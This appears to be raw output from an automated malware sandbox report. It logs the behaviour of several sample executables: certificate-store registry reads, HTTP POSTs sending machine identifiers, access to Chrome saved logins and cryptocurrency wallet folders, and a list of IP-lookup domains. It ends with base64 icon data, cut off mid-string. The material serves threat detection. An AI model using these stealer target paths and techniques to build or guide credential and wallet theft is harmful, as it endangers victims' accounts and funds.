00000000-00004244.00000000.294654.005C0000.00000002.mdmp Observed string: "shutdown %p, flush %d (tellHandler %d)" (Indicator: "shutdown ") in Source: 00000000-00004244.00000000.294654.005C0000.00000002.mdmp Observed string: "shutdown complete %p" (Indicator: "shutdown ") in Source: 00000000-00004244.00000000.294654.005C0000.00000002.mdmp Observed string: "shutdown completed by FdManager dtor %p (fd=%d)" (Indicator: "shutdown ") in Source: 00000000-00004244.00000000.294654.005C0000.00000002.mdmp Observed string: "shutdown %p (fd=%d), flush %s (tellHandler %s)" (Indicator: "shutdown ") in Source: 00000000-00004244.00000000.294654.005C0000.00000002.mdmp Observed string: "shutdown complete %p (fd=%d)" (Indicator: "shutdown ") in Source: 00000000-00004244.00000000.294654.005C0000.00000002.mdmp Observed string: "shutdown completed" (Indicator: "shutdown ") in Source: 00000000-00004244.00000000.294654.005C0000.00000002.mdmp Observed string: "shutdown" (Indicator: "shutdown") in Source: 00000000-00004328.00000000.294363.00401000.00000020.mdmp5b:T4d5,"jSR21kp.exe" called "OpenMutexW" with parameter "Global\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276) "jSR21kp.exe" called "OpenMutexW" with parameter "Session\1\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276) "jSR21kp.exe" called "OpenMutexW" with parameter "Session\2\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276) "jSR21kp.exe" called "OpenMutexW" with parameter "Session\3\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276) "jSR21kp.exe" called "OpenMutexW" with parameter "Session\4\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276) "jSR21kp.exe" called "OpenMutexW" with parameter "Session\5\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276) "jSR21kp.exe" called "OpenMutexW" with parameter "Session\6\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276) "jSR21kp.exe" called "OpenMutexW" with parameter "Session\7\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276) "jSR21kp.exe" called "OpenMutexW" with parameter "Session\8\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}" - (UID: 00000000-00001276)5c:T9b8,"rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")5d:T580,"rrr2ITl.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rrr2ITl.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rrr2ITl.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")5e:Teec,"rrr2ITl.exe" called "WinHttpSendRequest" with parameters {"hRequest": "28cef0" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=04a532d59a8e92772fa614775b1e19d98274851c6c9e1833c230a34c93&cid=" "dwOptionalLength": "67" "dwTotalLength": "67" "dwContext": "0" "$error": "2f8f"} "rrr2ITl.exe" called "WinHttpSendRequest" with parameters {"hRequest": "28ce08" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=04a532d59a8e92772fa614775b1e19d98274851c6c9e1833c230a34c93&cid=" "dwOptionalLength": "67" "dwTotalLength": "67" "dwContext": "0" "$error": "2f8f"} "rrr2ITl.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2a5f60" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=04a532d59a8e92772fa614775b1e19d98274851c6c9e1833c230a34c93&cid=" "dwOptionalLength": "67" "dwTotalLength": "67" "dwContext": "0" "$error": "2f8f"} "rrr2ITl.exe" called "WinHttpSendRequest" with parameters {"hRequest": "28ce08" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "gZ3dBvj.exe" called "WinHttpSendRequest" with parameters {"hRequest": "53a9f8" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=b2e3092688b7e991ab2f5f92f522b66232b3649d470247bdc101cb76ec&cid=" "dwOptionalLength": "67" "dwTotalLength": "67" "dwContext": "0" "$error": "2f8f"} "gZ3dBvj.exe" called "WinHttpSendRequest" with parameters {"hRequest": "53a910" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=b2e3092688b7e991ab2f5f92f522b66232b3649d470247bdc101cb76ec&cid=" "dwOptionalLength": "67" "dwTotalLength": "67" "dwContext": "0" "$error": "2f8f"} "gZ3dBvj.exe" called "WinHttpSendRequest" with parameters {"hRequest": "548718" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=b2e3092688b7e991ab2f5f92f522b66232b3649d470247bdc101cb76ec&cid=" "dwOptionalLength": "67" "dwTotalLength": "67" "dwContext": "0" "$error": "2f8f"} "gZ3dBvj.exe" called "WinHttpSendRequest" with parameters {"hRequest": "547bf0" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=b2e3092688b7e991ab2f5f92f522b66232b3649d470247bdc101cb76ec&cid=" "dwOptionalLength": "67" "dwTotalLength": "67" "dwContext": "0" "$error": "2f8f"} "gZ3dBvj.exe" called "WinHttpSendRequest" with parameters {"hRequest": "54ce68" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=b2e3092688b7e991ab2f5f92f522b66232b3649d470247bdc101cb76ec&cid=" "dwOptionalLength": "67" "dwTotalLength": "67" "dwContext": "0" "$error": "2f8f"} "gZ3dBvj.exe" called "WinHttpSendRequest" with parameters {"hRequest": "54ce68" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "771eb22c64.exe" called "WinHttpSendRequest" with parameters {"hRequest": "13f1d0" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=9618efd7cfd3960cad6336574b9dab3403a96f5f&cid=" "dwOptionalLength": "49" "dwTotalLength": "49" "dwContext": "0" "$error": "2f8f"} "771eb22c64.exe" called "WinHttpSendRequest" with parameters {"hRequest": "13f0e8" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=9618efd7cfd3960cad6336574b9dab3403a96f5f&cid=" "dwOptionalLength": "49" "dwTotalLength": "49" "dwContext": "0" "$error": "2f8f"}5f:T831,Dropped file: "75A092F4522006A97542D6AC4F4E69D2" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\75A092F4522006A97542D6AC4F4E69D2]- [targetUID: 00000000-00002444] Dropped file: "646C991C2A28825F3CC56E0A1D1E3FA9" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\646C991C2A28825F3CC56E0A1D1E3FA9]- [targetUID: 00000000-00002444] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002444] Dropped file: "05DDC6AA91765AACACDB0A5F96DF8199" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199]- [targetUID: 00000000-00002444] Dropped file: "DDE8B1B7E253A9758EC380BD648952AF_8EF17294603FDDE2A26540323F916EB0" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_8EF17294603FDDE2A26540323F916EB0]- [targetUID: 00000000-00002444] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002444] Dropped file: "DDE8B1B7E253A9758EC380BD648952AF_8EF17294603FDDE2A26540323F916EB0" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_8EF17294603FDDE2A26540323F916EB0]- [targetUID: 00000000-00002444] Dropped file: "75A092F4522006A97542D6AC4F4E69D2" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\75A092F4522006A97542D6AC4F4E69D2]- [targetUID: 00000000-00002444] Dropped file: "646C991C2A28825F3CC56E0A1D1E3FA9" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\646C991C2A28825F3CC56E0A1D1E3FA9]- [targetUID: 00000000-00002444] Dropped file: "05DDC6AA91765AACACDB0A5F96DF8199" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199]- [targetUID: 00000000-00002444]60:T634,"bounty-38813904328784694.exe" called "EnumWindows" with parameter "57799880" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "57798912" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "57799272" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "64680064" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "64680880" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "64680208" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "64680840" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "64680224" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "64680568" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "64680744" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "15069840" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "15069776" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "15070448" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "15069736" - (UID: 00000000-00004304) "bounty-38813904328784694.exe" called "EnumWindows" with parameter "15068856" - (UID: 00000000-00004304)61:T649,"2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir\the-real-index" (Type: "FileHandle") "2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\MANIFEST-000002" (Type: "FileHandle") "2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png" (Type: "FileHandle") "2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\manifest.json" (Type: "FileHandle") "2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\MANIFEST-000019" (Type: "FileHandle") "2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000002" (Type: "FileHandle") "2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\WebStorage\QuotaManager-journal" (Type: "FileHandle") "2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" (Type: "FileHandle") "2c8FJYQ.exe" had access to "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png" (Type: "FileHandle")62:T1616,"api.ipify.org" (Indicator: "api.ipify.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "checkip.amazonaws.com" (Indicator: "checkip.amazonaws.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "checkip.dyndns.com" (Indicator: "checkip.dyndns.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "checkip.dyndns.org" (Indicator: "checkip.dyndns.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "checkip.org" (Indicator: "checkip.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "checkmyip.com" (Indicator: "checkmyip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "cmyip.com" (Indicator: "cmyip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "curlmyip.com" (Indicator: "curlmyip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "findmyip.org" (Indicator: "findmyip.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "formyip.com" (Indicator: "formyip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "geoip.co.uk" (Indicator: "geoip.co.uk"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "geoiptool.com" (Indicator: "geoiptool.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "getmyip.co.uk" (Indicator: "getmyip.co.uk"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "getmyip.org" (Indicator: "getmyip.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "icanhazip.com" (Indicator: "icanhazip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ifconfig.me" (Indicator: "ifconfig.me"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ip-addr.es" (Indicator: "ip-addr.es"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ip-address.domaintools.com" (Indicator: "ip-address.domaintools.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ip-api.com" (Indicator: "ip-api.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ip-score.com" (Indicator: "ip-score.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ip.jsontest.com" (Indicator: "ip.jsontest.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ip.xss.ru" (Indicator: "ip.xss.ru"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ip4.telize.com" (Indicator: "ip4.telize.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ipchicken.com" (Indicator: "ipchicken.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ipecho.net" (Indicator: "ipecho.net"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ipinfo.info" (Indicator: "ipinfo.info"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ipinfo.io" (Indicator: "ipinfo.io"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ipleak.net" (Indicator: "ipleak.net"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "ipligence.com" (Indicator: "ipligence.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "knowmyip.com" (Indicator: "knowmyip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "maxmind.com" (Indicator: "maxmind.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "meineipadresse.de" (Indicator: "meineipadresse.de"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "myexternalip.com" (Indicator: "myexternalip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "myip.dnsomatic.com" (Indicator: "myip.dnsomatic.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "myip.ht" (Indicator: "myip.ht"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "myip.nl" (Indicator: "myip.nl"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "myip.opendns.com" (Indicator: "myip.opendns.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "myipaddress.com" (Indicator: "myipaddress.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "queryip.net" (Indicator: "queryip.net"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "showmyip.com" (Indicator: "showmyip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "showmyipaddress.com" (Indicator: "myipaddress.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "tracemyip.org" (Indicator: "tracemyip.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "whatismyip.akamai.com" (Indicator: "whatismyip.akamai.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "whatismyip.ca" (Indicator: "whatismyip.ca"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "whatismyip.com" (Indicator: "whatismyip.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "whatismyip.everdot.org" (Indicator: "whatismyip.everdot.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "whatismyipaddress.com" (Indicator: "myipaddress.com"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "whatsmyip.net" (Indicator: "whatsmyip.net"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "whatsmyip.org" (Indicator: "whatsmyip.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp") "whatsmyipaddress.org" (Indicator: "whatsmyipaddress.org"; File: "00000000-00000972.00000000.300024.00420000.00000004.mdmp")63:T5d0,"2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\BYTECOIN" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\IOCOIN" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\BBQCOIN" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Local\MINCOIN" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\MINCOIN" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\YACOIN" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Local\INFINITECOIN" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\INFINITECOIN" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Local\GOLDCOINGLD" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\GOLDCOINGLD" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Local\GOLDCOIN (GLD)" "2c8FJYQ.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\GOLDCOIN (GLD)" "2c8FJYQ.exe" opened file "%APPDATA%\BYTECOIN" "2c8FJYQ.exe" opened file "%APPDATA%\IOCOIN" "2c8FJYQ.exe" opened file "%APPDATA%\BBQCOIN" "2c8FJYQ.exe" opened file "%LOCALAPPDATA%\MINCOIN" "2c8FJYQ.exe" opened file "%APPDATA%\MINCOIN" "2c8FJYQ.exe" opened file "%APPDATA%\YACOIN" "2c8FJYQ.exe" opened file "%LOCALAPPDATA%\INFINITECOIN" "2c8FJYQ.exe" opened file "%APPDATA%\INFINITECOIN" "2c8FJYQ.exe" opened file "%LOCALAPPDATA%\GOLDCOINGLD" "2c8FJYQ.exe" opened file "%APPDATA%\GOLDCOINGLD" "2c8FJYQ.exe" opened file "%LOCALAPPDATA%\GOLDCOIN (GLD)" "2c8FJYQ.exe" opened file "%APPDATA%\GOLDCOIN (GLD)"64:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC65:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEy